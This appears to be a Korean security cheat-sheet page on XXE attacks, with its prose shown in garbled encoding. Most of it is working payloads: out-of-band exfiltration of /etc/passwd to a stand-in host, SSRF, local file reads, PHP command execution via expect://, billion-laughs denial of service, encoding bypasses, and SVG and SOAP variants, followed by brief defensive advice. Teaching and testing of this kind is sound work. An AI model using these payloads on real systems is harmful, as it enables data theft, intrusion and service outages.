XXE (XML External Entity)

๐Ÿ” Introduction

XXE(XML External Entity)๋Š” XML์„ Parsingํ•˜์—ฌ ์‚ฌ์šฉํ•˜๋Š” ์„œ๋น„์Šค์— ์•…์˜์ ์ธ XML ๊ตฌ๋ฌธ์„ Parsingํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ XML Parser๊ฐ€ ์œ„์น˜ํ•œ ๊ณณ์—์„œ ๋ถ€ํ„ฐ ์˜ํ–ฅ๋ ฅ์ด ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋ณ๊ฒŒ๋Š” SSRF ๊ฐ™์ด ๋‚ด๋ถ€๋ง ์ ‘๊ทผ๋ถ€ํ„ฐ, RCE๊นŒ์ง€ ํฐ ์˜ํ–ฅ๋ ฅ์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

์‹ฌํ”Œํ•˜๊ฒ XML Parse๊ฐ€ ๋™์ž‘ํ•˜๋Š” ๊ตฌ๊ฐ„์„ ์ฐพ์•„์•ผํ•ฉ๋‹ˆ๋‹ค. ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด๋ผ๋ฉด ์ฝ”๋“œ์—์„œ ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ๋น ๋ฅด๊ณ  ํšจ์œจ์ ์ด๋ฉฐ, ์†Œ์Šค์ฝ”๋“œ ์—†์ด ์ˆœ์ˆ˜ํ•˜๊ฒŒ ๋™์ž‘๋งŒ์œผ๋กœ๋งŒ ๋ด์•ผํ•œ๋‹ค๋ฉด .xml ํŒŒ์ผ์„ ์ธ์ž๊ฐ’์œผ๋กœ ๋ฐ›๊ฑฐ๋‚˜, ์—๋Ÿฌ์—์„œ XML Parsing ๊ด€๋ จ ์—๋Ÿฌ๋ฅผ ๋ฑ‰๋Š” ๊ตฌ๊ฐ„์„ ์œ„์ฃผ๋กœ ์ ๊ฒ€ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜์™€ ๊ฐ™์ด ๋ˆˆ์— ๋„๊ฒŒ xml ํ˜•ํƒœ๋ฅผ ์ฒ˜๋ฆฌํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ด๋Š” ๊ตฌ๊ฐ„์ด XXE๊ฐ€ ์กด์žฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์€ ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค.

1
GET /readRss?url=https://rss_service/feeds.xml

์ด ๋•Œ ์šฐ๋ฆฌ๋Š” XXE ๊ตฌ๋ฌธ์ด ํฌํ•จ๋œ ํŒŒ์ผ์„ ์„œ๋น„์Šค์˜ XML Parser๊ฐ€ ์ฝ๊ณ  ๋ถ„์„ํ•˜๋„๋ก ํ•˜์—ฌ XXE๋ฅผ ์œ ๋„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์œ„ readRss ๋ž€ ํŽ˜์ด์ง€๊ฐ€ XML์„ ์ฝ์–ด ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ณด์—ฌ์ฃผ๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์กŒ๋‹ค๋ฉด, ์•„๋ž˜์™€ ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์œผ๋กœ XXE ์—ฌ๋ถ€๋ฅผ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "https://your_oast_domain" >]>
<foo>&xxe;</foo>

์œ„ ๊ตฌ๋ฌธ์ด Parsing๋˜๋ฉด ์„œ๋น„์Šค๋Š” XML ๊ตฌ๋ฌธ์— ๋”ฐ๋ผ์„œ ์›น ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด oast_domain์œผ๋กœ ์ ‘๊ทผํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด๋•Œ ๋ฐœ์ƒํ•˜๋Š” HTTP Request์™€ DNS Qeury๋ฅผ ๊ฐ€์ง€๊ณ  ์‹๋ณ„ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ OAST, OOB ๊ธฐ๋ฐ˜์œผ๋กœ ์‹๋ณ„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๊ฐ€์žฅ ์—ฌ๋Ÿฌ ์ผ€์ด์Šค์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. (Blind XXE๋„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์ฃ )

๋Œ€ํ‘œ์ ์ธ OAST ์„œ๋น„์Šค & ๋„๊ตฌ๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • Burpsuite: burpcollaborator.net
  • ZAP: odiss.eu (OAST)
  • Interactsh

๋‹ค๋งŒ public oast ์„œ๋น„์Šค๋Š” 2021๋…„ log4j ์‚ฌํƒœ ์ดํ›„๋กœ ๋งŽ์€ ์„œ๋น„์Šค๋“ค์—์„œ ์ฐจ๋‹จ์„ ํ•˜๊ณ  ์žˆ์–ด์„œ ์ง์ ‘ privateํ•œ oast ์„œ๋น„์Šค๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ ํ…Œ์ŠคํŠธํ•˜์‹œ๋Š” ๊ฒƒ์„ ์ถ”์ฒœํ•ฉ๋‹ˆ๋‹ค.

๋งŒ์•ฝ XML Parsing์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋ฆฌํ„ด๋œ๋‹ค๋ฉด ๋‹จ์ˆœํ•˜๊ฒŒ DTD ์‚ฌ์šฉ์„ ์ฒดํฌํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
6
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

Exploitation

Leak data with OOB

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "https://your_oast_service/?%xxe;">
]
>
<foo>&callhome;</foo>

SSRF

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>

LFI

Linux

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Windows

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>

RCE (PHP)

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>

DOS

1
2
3
4
5
6
7
8
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Bypass protection

Using Base64

1
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Using UTF-16

1
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

XXE in X

in SVG

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
1
2
3
4
5
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

xxe.svg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

in SOAP

1
2
3
4
5
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

in OXML (Office)

1
2
3
4
5
6
/_rels/.rels
[Content_Types].xml
Default Main Document Part
  /word/document.xml
  /ppt/presentation.xml
  /xl/workbook.xml

in XLSX

OXML๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ›ก Defensive techniques

XML Parsing ์‹œ DTD๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋„๋ก ์ œํ•œํ•˜๋Š” ํ˜•ํƒœ๋กœ ๋Œ€์‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ์–ธ์–ด, Framework ๋“ฑ DTD๋ฅผ ์ œํ•œํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅด๋‹ˆ ์•„๋ž˜ ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

๋˜ํ•œ XML Parsing ๋‹จ๊ณ„๊ฐ€ ๊ตณ์ด ์™ธ๋ถ€์— ๋…ธ์ถœ๋  ํ•„์š”๊ฐ€ ์—†๋‹ค๋ฉด ์™„์ „ํ•˜๊ฒŒ ๋‚ด๋ถ€์—์„œ๋งŒ ์ฒ˜๋ฆฌํ•˜๋„๋ก ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์€ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0